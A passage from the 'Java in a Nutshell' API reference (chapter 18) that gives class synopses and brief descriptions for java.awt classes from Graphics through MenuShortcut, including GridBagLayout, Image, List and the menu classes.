    // Protected Constructor
            protected Graphics();
    // Public Instance Methods
            public abstract void clearRect(int x, int y, int width, int height);
            public abstract void clipRect(int x, int y, int width, int height);
            public abstract void copyArea(int x, int y, int width, int height, int dx, int dy);
            public abstract Graphics create();
            public Graphics create(int x, int y, int width, int height);
            public abstract void dispose();
            public void draw3DRect(int x, int y, int width, int height, boolean raised);
            public abstract void drawArc(int x, int y, int width, int height, int startAngle, int arcAngle);
            public void drawBytes(byte[] data, int offset, int length, int x, int y);
            public void drawChars(char[] data, int offset, int length, int x, int y);
            public abstract boolean drawImage(Image img, int x, int y, ImageObserver observer);
            public abstract boolean drawImage(Image img, int x, int y, int width, int height, ImageObserver observer);
            public abstract boolean drawImage(Image img, int x, int y, Color bgcolor, ImageObserver observer);
            public abstract boolean drawImage(Image img, int x, int y, int width, int height, Color bgcolor,
            public abstract boolean drawImage'u'ImageObserver observer);
        1.1  public abstract boolean drawImage(Image img, int dx1, int dy1, int dx2, int dy2, int sx1, int sy1,
        1.1  public abstract boolean drawImage'u'int sx2, int sy2, ImageObserver observer);
        1.1  public abstract boolean drawImage(Image img, int dx1, int dy1, int dx2, int dy2, int sx1, int sy1,
        1.1  public abstract boolean drawImage'u'int sx2, int sy2, Color bgcolor, ImageObserver observer);
            public abstract void drawLine(int x1, int y1, int x2, int y2);
            public abstract void drawOval(int x, int y, int width, int height);
            public abstract void drawPolygon(int[] xPoints, int[] yPoints, int nPoints);
            public void drawPolygon(Polygon p);
        1.1  public abstract void drawPolyline(int[] xPoints, int[] yPoints, int nPoints);
            public void drawRect(int x, int y, int width, int height);
            public abstract void drawRoundRect(int x, int y, int width, int height, int arcWidth, int arcHeight);
            public abstract void drawString(String str, int x, int y);
            public void fill3DRect(int x, int y, int width, int height, boolean raised);
            public abstract void fillArc(int x, int y, int width, int height, int startAngle, int arcAngle);
            public abstract void fillOval(int x, int y, int width, int height);
            public abstract void fillPolygon(int[] xPoints, int[] yPoints, int nPoints);
            public void fillPolygon(Polygon p);
            public abstract void fillRect(int x, int y, int width, int height);
            public abstract void fillRoundRect(int x, int y, int width, int height, int arcWidth, int arcHeight);
            public void finalize();  // Overrides Object
        1.1  public abstract Shape getClip();
        1.1  public abstract Rectangle getClipBounds();
        #   public Rectangle getClipRect();
            public abstract Color getColor();
            public abstract Font getFont();
            public FontMetrics getFontMetrics();
            public abstract FontMetrics getFontMetrics(Font f);
        1.1  public abstract void setClip(int x, int y, int width, int height);
        1.1  public abstract void setClip(Shape clip);
            public abstract void setColor(Color c);
            public abstract void setFont(Font font);
            public abstract void setPaintMode();
            public abstract void setXORMode(Color c1);
            public String toString();  // Overrides Object
            public abstract void translate(int x, int y);
}

Passed To:

Canvas.paint(),
Component.paint(),
Component.paintAll(),
Component.print(),
Component.printAll(),
Component.update(),
ComponentPeer.paint(),
ComponentPeer.print(),
Container.paint(),
Container.paintComponents(),
Container.print(),
Container.printComponents(),
PropertyEditor.paintValue(),
PropertyEditorSupport.paintValue(),
ScrollPane.printComponents()

Returned By:

Component.getGraphics(),
ComponentPeer.getGraphics(),
Graphics.create(),
Image.getGraphics(),
PrintJob.getGraphics()

Previous | Home | Next
java.awt.Frame (JDK 1.0) | Book Index | java.awt.GridBagConstraints (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.28 java.awt.GridBagConstraints (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.28 java.awt.GridBagConstraints (JDK 1.0)

This class encapsulates the instance variables that tell a GridBagLayout how to position a given Component within its Container.

gridx, gridy

These fields specify the grid position of the component. The RELATIVE constant specifies a position to the right or below the previous component.

gridwidth, gridheight

These fields specify the height and width of the component in grid cells. The constant REMAINDER specifies that the component is the last one and should get all remaining cells.

fill

This field specifies which dimensions of a component should grow when the space available for it is larger than its default size. Legal values are the constants NONE, BOTH, HORIZONTAL, and VERTICAL.

ipadx, ipady

These fields specify internal padding to add on each side of the component in each dimension. They increase the size of the component beyond its default minimum size.

insets

This Insets object specifies margins to appear on all sides of the component.

anchor

This field specifies how the component should be displayed within its grid cells when it is smaller than those cells. The CENTER constant and the compass-point constants are legal values.

weightx, weighty

These fields specify how extra space in the container should be distributed among its components in the X and Y dimensions. Larger weights specify that a component should receive a proportionally larger amount of extra space. A zero weight specifies that the component should not receive any extra space. These weights specify the resizing behavior of the component and its container.

See also GridBagLayout.

public class GridBagConstraints extends Object implements Cloneable, Serializable {
    // Public Constructor
            public GridBagConstraints();
    // Constants
            public static final int BOTH;
            public static final int CENTER;
            public static final int EAST;
            public static final int HORIZONTAL;
            public static final int NONE;
            public static final int NORTH;
            public static final int NORTHEAST;
            public static final int NORTHWEST;
            public static final int RELATIVE;
            public static final int REMAINDER;
            public static final int SOUTH;
            public static final int SOUTHEAST;
            public static final int SOUTHWEST;
            public static final int VERTICAL;
            public static final int WEST;
    // Public Instance Variables
            public int anchor;
            public int fill;
            public int gridheight;
            public int gridwidth;
            public int gridx;
            public int gridy;
            public Insets insets;
            public int ipadx;
            public int ipady;
            public double weightx;
            public double weighty;
    // Public Instance Methods
            public Object clone();  // Overrides Object
}

Passed To:

GridBagLayout.AdjustForGravity(), GridBagLayout.setConstraints()

Returned By:

GridBagLayout.getConstraints(), GridBagLayout.lookupConstraints()

Type Of:

GridBagLayout.defaultConstraints

Previous | Home | Next
java.awt.Graphics (JDK 1.0) | Book Index | java.awt.GridBagLayout (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.29 java.awt.GridBagLayout (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.29 java.awt.GridBagLayout (JDK 1.0)

This class implements the LayoutManager interface to lay out Component objects in a Container. It is the most complicated and most powerful LayoutManager in the java.awt package. It divides the container into a grid of rows and columns (which need not have the same width and height) and places the components into this grid, adjusting the size of the grid cells as necessary to ensure that components do not overlap. Each component controls how it is positioned within this grid by specifying a number of variables (or "constraints") in a GridBagConstraints object. Do not confuse this class with the much simpler GridLayout which arranges components in a grid of equally sized cells.

Use setConstraints() to specify a GridBagConstraints object for each of the components in the container. Or, in Java 1.1, specify the GridBagConstraints object when adding the component to the container with add(). The variables in this object specify the position of the component in the grid, the number of horizontal and vertical grid cells that the component occupies, and also control other important aspects of component layout. See GridBagConstraints for more information on these "constraint" variables. setConstraints() makes a copy of the constraints object, so you may reuse a single object in your code.

Note that applications should never call the LayoutManager methods of this class directly; the Container for which the GridBagLayout is registered does this.

public class GridBagLayout extends Object implements LayoutManager2, Serializable {
    // Public Constructor
            public GridBagLayout();
    // Constants
            protected static final int MAXGRIDSIZE;
            protected static final int MINSIZE;
            protected static final int PREFERREDSIZE;
    // Public Instance Variables
            public double[] columnWeights;
            public int[] columnWidths;
            public int[] rowHeights;
            public double[] rowWeights;
    // Protected Instance Variables
            protected Hashtable comptable;
            protected GridBagConstraints defaultConstraints;
            protected GridBagLayoutInfo layoutInfo;
    // Public Instance Methods
            public void addLayoutComponent(String name, Component comp);  // From LayoutManager
        1.1  public void addLayoutComponent(Component comp, Object constraints);  // From LayoutManager2
            public GridBagConstraints getConstraints(Component comp);
        1.1  public float getLayoutAlignmentX(Container parent);  // From LayoutManager2
        1.1  public float getLayoutAlignmentY(Container parent);  // From LayoutManager2
            public int[][] getLayoutDimensions();
            public Point getLayoutOrigin();
            public double[][] getLayoutWeights();
        1.1  public void invalidateLayout(Container target);  // From LayoutManager2
            public void layoutContainer(Container parent);  // From LayoutManager
            public Point location(int x, int y);
        1.1  public Dimension maximumLayoutSize(Container target);  // From LayoutManager2
            public Dimension minimumLayoutSize(Container parent);  // From LayoutManager
            public Dimension preferredLayoutSize(Container parent);  // From LayoutManager
            public void removeLayoutComponent(Component comp);  // From LayoutManager
            public void setConstraints(Component comp, GridBagConstraints constraints);
            public String toString();  // Overrides Object
    // Protected Instance Methods
            protected void AdjustForGravity(GridBagConstraints constraints, Rectangle r);
            protected void ArrangeGrid(Container parent);
            protected GridBagLayoutInfo GetLayoutInfo(Container parent, int sizeflag);
            protected Dimension GetMinSize(Container parent, GridBagLayoutInfo info);
            protected GridBagConstraints lookupConstraints(Component comp);
}

Hierarchy:

Object->GridBagLayout(LayoutManager2(LayoutManager), Serializable)

Previous | Home | Next
java.awt.GridBagConstraints (JDK 1.0) | Book Index | java.awt.GridLayout (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.30 java.awt.GridLayout (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.30 java.awt.GridLayout (JDK 1.0)

This class implements the LayoutManager interface to lay out Component objects in a Container. It divides the Container into a specified number of rows and columns and arranges the components in those rows and columns, left-to-right and top-to-bottom. If either the number of rows or the number of columns is set to zero, its value is computed from the other dimension and the total number of components. Do not confuse this class with the more flexible and complicated GridBagLayout.

Note that applications should never call the LayoutManager methods of this class directly; the Container for which the GridLayout is registered does this.

public class GridLayout extends Object implements LayoutManager, Serializable {
    // Public Constructors
        1.1  public GridLayout();
            public GridLayout(int rows, int cols);
            public GridLayout(int rows, int cols, int hgap, int vgap);
    // Public Instance Methods
            public void addLayoutComponent(String name, Component comp);  // From LayoutManager
        1.1  public int getColumns();
        1.1  public int getHgap();
        1.1  public int getRows();
        1.1  public int getVgap();
            public void layoutContainer(Container parent);  // From LayoutManager
            public Dimension minimumLayoutSize(Container parent);  // From LayoutManager
            public Dimension preferredLayoutSize(Container parent);  // From LayoutManager
            public void removeLayoutComponent(Component comp);  // From LayoutManager
        1.1  public void setColumns(int cols);
        1.1  public void setHgap(int hgap);
        1.1  public void setRows(int rows);
        1.1  public void setVgap(int vgap);
            public String toString();  // Overrides Object
}

Previous | Home | Next
java.awt.GridBagLayout (JDK 1.0) | Book Index | java.awt.IllegalComponentStateException (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.31 java.awt.IllegalComponentStateException (JDK 1.1)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.31 java.awt.IllegalComponentStateException (JDK 1.1)

This exception signals that an AWT component is not in the appropriate state (for example, it hasn't been added to a container yet or is currently hidden) for some requested operation.

public class IllegalComponentStateException extends IllegalStateException {
    // Public Constructors
            public IllegalComponentStateException();
            public IllegalComponentStateException(String s);
}

Hierarchy:

Object->Throwable(Serializable)->Exception->RuntimeException-> IllegalStateException->IllegalComponentStateException

Previous | Home | Next
java.awt.GridLayout (JDK 1.0) | Book Index | java.awt.Image (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.32 java.awt.Image (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.32 java.awt.Image (JDK 1.0)

This abstract class represents a displayable image in a platform-independent way. An Image object may not be instantiated directly through a constructor; it must be obtained through a call like Applet.getImage() or Component.createImage(). getSource() method returns the ImageProducer object that produces the image data. getGraphics() returns a Graphics object that can be used for drawing into offscreen images (but not images that are downloaded or generated by an ImageProducer).

public abstract class Image extends Object {
    // Default Constructor: public Image()
    // Constants
        1.1  public static final int SCALE_AREA_AVERAGING;
        1.1  public static final int SCALE_DEFAULT;
        1.1  public static final int SCALE_FAST;
        1.1  public static final int SCALE_REPLICATE;
        1.1  public static final int SCALE_SMOOTH;
            public static final Object UndefinedProperty;
    // Public Instance Methods
            public abstract void flush();
            public abstract Graphics getGraphics();
            public abstract int getHeight(ImageObserver observer);
            public abstract Object getProperty(String name, ImageObserver observer);
        1.1  public Image getScaledInstance(int width, int height, int hints);
            public abstract ImageProducer getSource();
            public abstract int getWidth(ImageObserver observer);
}

Passed To:

Component.checkImage(),
Component.imageUpdate(),
Component.prepareImage(),
ComponentPeer.checkImage(),
ComponentPeer.prepareImage(),
Frame.setIconImage(),
FramePeer.setIconImage(),
Graphics.drawImage(),
ImageObserver.imageUpdate(),
MediaTracker.addImage(),
MediaTracker.removeImage(),
PixelGrabber(),
Toolkit.checkImage(),
Toolkit.prepareImage()

Returned By:

Applet.getImage(),
AppletContext.getImage(),
BeanInfo.getIcon(),
Component.createImage(),
ComponentPeer.createImage(),
Frame.getIconImage(),
Image.getScaledInstance(),
SimpleBeanInfo.getIcon(),
SimpleBeanInfo.loadImage(),
Toolkit.createImage(),
Toolkit.getImage()

Previous | Home | Next
java.awt.IllegalComponentStateException (JDK 1.1) | Book Index | java.awt.Insets (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.33 java.awt.Insets (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.33 java.awt.Insets (JDK 1.0)

This class holds four values that represent the top, left, bottom, and right margins, in pixels, of a Container or other Component. Objects of this type may be specified in a GridBagConstraints layout object, and are returned by Container.insets(), which queries the margins of a container.

public class Insets extends Object implements Cloneable, Serializable {
    // Public Constructor
            public Insets(int top, int left, int bottom, int right);
    // Public Instance Variables
            public int bottom;
            public int left;
            public int right;
            public int top;
    // Public Instance Methods
            public Object clone();  // Overrides Object
        1.1  public boolean equals(Object obj);  // Overrides Object
            public String toString();  // Overrides Object
}

Returned By:

Container.getInsets(),
Container.insets(),
ContainerPeer.getInsets(),
ContainerPeer.insets()

Type Of:

GridBagConstraints.insets

Previous | Home | Next
java.awt.Image (JDK 1.0) | Book Index | java.awt.ItemSelectable (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.34 java.awt.ItemSelectable (JDK 1.1)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.34 java.awt.ItemSelectable (JDK 1.1)

This interface abstracts the functionality of an AWT component that presents one or more items to the user and allows the user to select zero or more of them. It is implemented by several components in the AWT.

getSelectedObjects() returns an array of selected objects, or null, if none are selected. addItemListener() and removeItemListener() are standard methods for adding and removing ItemListener objects to be notified when an item is selected.

public abstract interface ItemSelectable {
    // Public Instance Methods
            public abstract void addItemListener(ItemListener l);
            public abstract Object[] getSelectedObjects();
            public abstract void removeItemListener(ItemListener l);
}

Implemented By:

Checkbox, CheckboxMenuItem, Choice, List

Passed To:

ItemEvent()

Returned By:

ItemEvent.getItemSelectable()

Previous | Home | Next
java.awt.Insets (JDK 1.0) | Book Index | java.awt.Label (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.35 java.awt.Label (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.35 java.awt.Label (JDK 1.0)

This class is a Component that displays a single specified line of read-only text. The constant values specify the text alignment within the component and may be specified to the constructor or to setAlignment().

public class Label extends Component {
    // Public Constructors
            public Label();
            public Label(String text);
            public Label(String text, int alignment);
    // Constants
            public static final int CENTER;
            public static final int LEFT;
            public static final int RIGHT;
    // Public Instance Methods
            public void addNotify();  // Overrides Component
            public int getAlignment();
            public String getText();
            public synchronized void setAlignment(int alignment);
            public synchronized void setText(String text);
    // Protected Instance Methods
            protected String paramString();  // Overrides Component
}

Hierarchy:

Object->Component(ImageObserver, MenuContainer, Serializable)->Label

Passed To:

Toolkit.createLabel()

Previous | Home | Next
java.awt.ItemSelectable (JDK 1.1) | Book Index | java.awt.LayoutManager (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.36 java.awt.LayoutManager (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.36 java.awt.LayoutManager (JDK 1.0)

This interface defines the methods necessary for a class to be able to arrange Component objects within a Container object. Most programs use one of the existing classes that implements this interface: BorderLayout, CardLayout, FlowLayout, GridBagConstraints, GridBagLayout, or GridLayout.

To define a new class that lays out components, you must implement each of the methods defined by this interface. addLayoutComponent() is called when a component is added to the container. removeLayoutComponent() is called when a component is removed. layoutContainer() should perform the actual positioning of components by setting the size and position of each component in the specified container. minimumLayoutSize() should return the minimum container width and height that the LayoutManager needs in order to lay out its components. preferredLayoutSize() should return the optimal container width and height for the LayoutManager to lay out its components.

In Java 1.1, layout managers should implement the LayoutManager2 interface, which is an extension of this one. Note that a Java applet or application never directly calls any of these LayoutManager methods--the Container object for which the LayoutManager is registered does that.

public abstract interface LayoutManager {
    // Public Instance Methods
            public abstract void addLayoutComponent(String name, Component comp);
            public abstract void layoutContainer(Container parent);
            public abstract Dimension minimumLayoutSize(Container parent);
            public abstract Dimension preferredLayoutSize(Container parent);
            public abstract void removeLayoutComponent(Component comp);
}

Extended By:

LayoutManager2

Implemented By:

FlowLayout, GridLayout

Passed To:

Container.setLayout(),
Panel(),
ScrollPane.setLayout()

Returned By:

Container.getLayout()

Previous | Home | Next
java.awt.Label (JDK 1.0) | Book Index | java.awt.LayoutManager2 (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.37 java.awt.LayoutManager2 (JDK 1.1)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.37 java.awt.LayoutManager2 (JDK 1.1)

This interface is an extension of the LayoutManager interface. It defines additional layout management methods for layout managers that perform constraint-based layout. GridBagLayout is an example of a constraint-based layout manager--each component added to the layout is associated with a GridBagConstraints object that specifies the "constraints" on how the component is to be laid out.

Java programs do not directly invoke the methods of this interface--they are used by the Container object for which the layout manager is registered.

public abstract interface LayoutManager2 extends LayoutManager {
    // Public Instance Methods
            public abstract void addLayoutComponent(Component comp, Object constraints);
            public abstract float getLayoutAlignmentX(Container target);
            public abstract float getLayoutAlignmentY(Container target);
            public abstract void invalidateLayout(Container target);
            public abstract Dimension maximumLayoutSize(Container target);
}

Implemented By:

BorderLayout, CardLayout, GridBagLayout

Previous | Home | Next
java.awt.LayoutManager (JDK 1.0) | Book Index | java.awt.List (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.38 java.awt.List (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.38 java.awt.List (JDK 1.0)

This class is a Component that graphically displays a list of strings. The list is scrollable if necessary. The constructor takes optional arguments that specify the number of visible rows in the list and whether selection of more than one item is allowed. The various instance methods allow strings to be added and removed from the List, and allow the selected item or items to be queried.

public class List extends Component implements ItemSelectable {
    // Public Constructors
            public List();
        1.1  public List(int rows);
            public List(int rows, boolean multipleMode);
    // Public Instance Methods
        1.1  public void add(String item);
        1.1  public synchronized void add(String item, int index);
        1.1  public synchronized void addActionListener(ActionListener l);
            public void addItem(String item);
            public synchronized void addItem(String item, int index);
        1.1  public synchronized void addItemListener(ItemListener l);  // From ItemSelectable
            public void addNotify();  // Overrides Component
        #   public boolean allowsMultipleSelections();
        #   public synchronized void clear();
        #   public int countItems();
            public synchronized void delItem(int position);
        #   public synchronized void delItems(int start, int end);
            public synchronized void deselect(int index);
            public String getItem(int index);
        1.1  public int getItemCount();
        1.1  public synchronized String[] getItems();
        1.1  public Dimension getMinimumSize(int rows);
        1.1  public Dimension getMinimumSize();  // Overrides Component
        1.1  public Dimension getPreferredSize(int rows);
        1.1  public Dimension getPreferredSize();  // Overrides Component
            public int getRows();
            public synchronized int getSelectedIndex();
            public synchronized int[] getSelectedIndexes();
            public synchronized String getSelectedItem();
            public synchronized String[] getSelectedItems();
        1.1  public Object[] getSelectedObjects();  // From ItemSelectable
            public int getVisibleIndex();
        1.1  public boolean isIndexSelected(int index);
        1.1  public boolean isMultipleMode();
        #   public boolean isSelected(int index);
            public synchronized void makeVisible(int index);
        #   public Dimension minimumSize(int rows);
        #   public Dimension minimumSize();  // Overrides Component
        #   public Dimension preferredSize(int rows);
        #   public Dimension preferredSize();  // Overrides Component
        1.1  public synchronized void remove(String item);
        1.1  public synchronized void remove(int position);
        1.1  public synchronized void removeActionListener(ActionListener l);
        1.1  public synchronized void removeAll();
        1.1  public synchronized void removeItemListener(ItemListener l);  // From ItemSelectable
            public void removeNotify();  // Overrides Component
            public synchronized void replaceItem(String newValue, int index);
            public synchronized void select(int index);
        1.1  public synchronized void setMultipleMode(boolean b);
        #   public synchronized void setMultipleSelections(boolean b);
    // Protected Instance Methods
            protected String paramString();  // Overrides Component
        1.1  protected void processActionEvent(ActionEvent e);
        1.1  protected void processEvent(AWTEvent e);  // Overrides Component
        1.1  protected void processItemEvent(ItemEvent e);
}

Hierarchy:

Object->Component(ImageObserver, MenuContainer, Serializable)->List(ItemSelectable)

Passed To:

Toolkit.createList()

Previous | Home | Next
java.awt.LayoutManager2 (JDK 1.1) | Book Index | java.awt.MediaTracker (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.39 java.awt.MediaTracker (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.39 java.awt.MediaTracker (JDK 1.0)

This class provides a very convenient way to asynchronously load and keep track of the status of any number of Image objects. You can use it to load one or more images and to wait until those images have been completely loaded and are ready to be used.

The addImage() method registers an image to be loaded and tracked and assigns it a specified identifier value. waitForID() loads all images that have been assigned the specified identifier and returns when they have all finished loading or it has received an error. isErrorAny() and isErrorID() check whether any errors have occurred while loading images. statusAll() and statusID() return the status of all images or of all images with the specified identifier. The return value of these two methods is one of the defined constants.

public class MediaTracker extends Object implements Serializable {
    // Public Constructor
            public MediaTracker(Component comp);
    // Constants
            public static final int ABORTED;
            public static final int COMPLETE;
            public static final int ERRORED;
            public static final int LOADING;
    // Public Instance Methods
            public void addImage(Image image, int id);
            public synchronized void addImage(Image image, int id, int w, int h);
            public boolean checkAll();
            public boolean checkAll(boolean load);
            public boolean checkID(int id);
            public boolean checkID(int id, boolean load);
            public synchronized Object[] getErrorsAny();
            public synchronized Object[] getErrorsID(int id);
            public synchronized boolean isErrorAny();
            public synchronized boolean isErrorID(int id);
        1.1  public synchronized void removeImage(Image image);
        1.1  public synchronized void removeImage(Image image, int id);
        1.1  public synchronized void removeImage(Image image, int id, int width, int height);
            public int statusAll(boolean load);
            public int statusID(int id, boolean load);
            public void waitForAll() throws InterruptedException;
            public synchronized boolean waitForAll(long ms) throws InterruptedException;
            public void waitForID(int id) throws InterruptedException;
            public synchronized boolean waitForID(int id, long ms) throws InterruptedException;
}

Previous | Home | Next
java.awt.List (JDK 1.0) | Book Index | java.awt.Menu (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.40 java.awt.Menu (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.40 java.awt.Menu (JDK 1.0)

This class represents a pulldown menu pane that appears within a MenuBar. Each Menu has a label that appears in the MenuBar and may optionally be a tear-off menu. The add() and addSeparator() methods add individual items to a Menu.

public class Menu extends MenuItem implements MenuContainer {
    // Public Constructors
        1.1  public Menu();
            public Menu(String label);
            public Menu(String label, boolean tearOff);
    // Public Instance Methods
            public synchronized MenuItem add(MenuItem mi);
            public void add(String label);
            public void addNotify();  // Overrides MenuItem
            public void addSeparator();
        #   public int countItems();
            public MenuItem getItem(int index);
        1.1  public int getItemCount();
        1.1  public synchronized void insert(MenuItem menuitem, int index);
        1.1  public void insert(String label, int index);
        1.1  public void insertSeparator(int index);
            public boolean isTearOff();
        1.1  public String paramString();  // Overrides MenuItem
            public synchronized void remove(int index);
            public synchronized void remove(MenuComponent item);  // From MenuContainer
        1.1  public synchronized void removeAll();
            public void removeNotify();  // Overrides MenuComponent
}

Hierarchy:

Object->MenuComponent(Serializable)->MenuItem->Menu(MenuContainer)

Extended By:

PopupMenu

Passed To:

MenuBar.add(),
MenuBar.setHelpMenu(),
MenuBarPeer.addHelpMenu(),
MenuBarPeer.addMenu(),
Toolkit.createMenu()

Returned By:

MenuBar.add(),
MenuBar.getHelpMenu(),
MenuBar.getMenu()

Previous | Home | Next
java.awt.MediaTracker (JDK 1.0) | Book Index | java.awt.MenuBar (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.41 java.awt.MenuBar (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.41 java.awt.MenuBar (JDK 1.0)

This class represents a menu bar. add() adds Menu objects to the menu bar, and setHelpMenu() adds a Help menu in a reserved location of the menu bar. A MenuBar object may be displayed within a Frame by passing it to Frame.setMenuBar().

public class MenuBar extends MenuComponent implements MenuContainer {
    // Public Constructor
            public MenuBar();
    // Public Instance Methods
            public synchronized Menu add(Menu m);
            public void addNotify();
        #   public int countMenus();
        1.1  public void deleteShortcut(MenuShortcut s);
            public Menu getHelpMenu();
            public Menu getMenu(int i);
        1.1  public int getMenuCount();
        1.1  public MenuItem getShortcutMenuItem(MenuShortcut s);
            public synchronized void remove(int index);
            public synchronized void remove(MenuComponent m);  // From MenuContainer
            public void removeNotify();  // Overrides MenuComponent
            public synchronized void setHelpMenu(Menu m);
        1.1  public synchronized Enumeration shortcuts();
}

Hierarchy:

Object->MenuComponent(Serializable)->MenuBar(MenuContainer)

Passed To:

Frame.setMenuBar(),
FramePeer.setMenuBar(),
Toolkit.createMenuBar()

Returned By:

Frame.getMenuBar()

Previous | Home | Next
java.awt.Menu (JDK 1.0) | Book Index | java.awt.MenuComponent (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.42 java.awt.MenuComponent (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.42 java.awt.MenuComponent (JDK 1.0)

This class is the superclass of all menu-related classes: You never need to instantiate a MenuComponent directly. setFont() specifies the font to be used for all text within the menu component.

public abstract class MenuComponent extends Object implements Serializable {
    // Default Constructor: public MenuComponent()
    // Public Instance Methods
        1.1  public final void dispatchEvent(AWTEvent e);
            public Font getFont();
        1.1  public String getName();
            public MenuContainer getParent();
        #   public MenuComponentPeer getPeer();
            public boolean postEvent(Event evt);
            public void removeNotify();
            public void setFont(Font f);
        1.1  public void setName(String name);
            public String toString();  // Overrides Object
    // Protected Instance Methods
            protected String paramString();
        1.1  protected void processEvent(AWTEvent e);
}

Extended By:

MenuBar, MenuItem

Passed To:

Component.remove(),
Frame.remove(),
Menu.remove(),
MenuBar.remove(),
MenuContainer.remove()

Previous | Home | Next
java.awt.MenuBar (JDK 1.0) | Book Index | java.awt.MenuContainer (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.43 java.awt.MenuContainer (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.43 java.awt.MenuContainer (JDK 1.0)

This interface defines the methods necessary for MenuContainer types such as the Menu, Frame, and MenuBar objects. Unless you implement new menu-like components, you never need to use it.

public abstract interface MenuContainer {
    // Public Instance Methods
            public abstract Font getFont();
            public abstract boolean postEvent(Event evt);
            public abstract void remove(MenuComponent comp);
}

Implemented By:

Component, Frame, Menu, MenuBar

Returned By:

MenuComponent.getParent()

Previous | Home | Next
java.awt.MenuComponent (JDK 1.0) | Book Index | java.awt.MenuItem (JDK 1.0)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.44 java.awt.MenuItem (JDK 1.0)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.44 java.awt.MenuItem (JDK 1.0)

This class encapsulates a menu item with a specified textual label. A MenuItem can be added to a menu pane with the Menu.add() method. The disable() method makes an item non-selectable; you might use it to "gray-out" a menu item when the command it represents is not valid in the current context. The enable() method makes an item selectable again. In Java 1.1, use setActionCommand() to specify an identifying string that is included in ActionEvent events generated by the menu item.

public class MenuItem extends MenuComponent {
    // Public Constructors
        1.1  public MenuItem();
            public MenuItem(String label);
        1.1  public MenuItem(String label, MenuShortcut s);
    // Public Instance Methods
        1.1  public synchronized void addActionListener(ActionListener l);
            public void addNotify();
        1.1  public void deleteShortcut();
        #   public synchronized void disable();
        #   public synchronized void enable();
        #   public void enable(boolean b);
        1.1  public String getActionCommand();
            public String getLabel();
        1.1  public MenuShortcut getShortcut();
            public boolean isEnabled();
            public String paramString();  // Overrides MenuComponent
        1.1  public synchronized void removeActionListener(ActionListener l);
        1.1  public void setActionCommand(String command);
        1.1  public synchronized void setEnabled(boolean b);
            public synchronized void setLabel(String label);
        1.1  public void setShortcut(MenuShortcut s);
    // Protected Instance Methods
        1.1  protected final void disableEvents(long eventsToDisable);
        1.1  protected final void enableEvents(long eventsToEnable);
        1.1  protected void processActionEvent(ActionEvent e);
        1.1  protected void processEvent(AWTEvent e);  // Overrides MenuComponent
}

Hierarchy:

Object->MenuComponent(Serializable)->MenuItem

Extended By:

CheckboxMenuItem, Menu

Passed To:

Menu.add(),
Menu.insert(),
MenuPeer.addItem(),
Toolkit.createMenuItem()

Returned By:

Menu.add(),
Menu.getItem(),
MenuBar.getShortcutMenuItem()

Previous | Home | Next
java.awt.MenuContainer (JDK 1.0) | Book Index | java.awt.MenuShortcut (JDK 1.1)
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 18] 18.45 java.awt.MenuShortcut (JDK 1.1)

Java in a Nutshell

Previous Chapter 18
The java.awt Package 		Next

18.45 java.awt.MenuShortcut (JDK 1.1)

This class represents a keystroke used to select a MenuItem without actually pulling down the menu. A MenuShortcut object can be specified for a MenuItem when the MenuItem is created or by calling the item's setShortcut() method. The keystroke sequence for the menu shortcut automatically appears in the label for the menu item, so you need not add this information yourself.

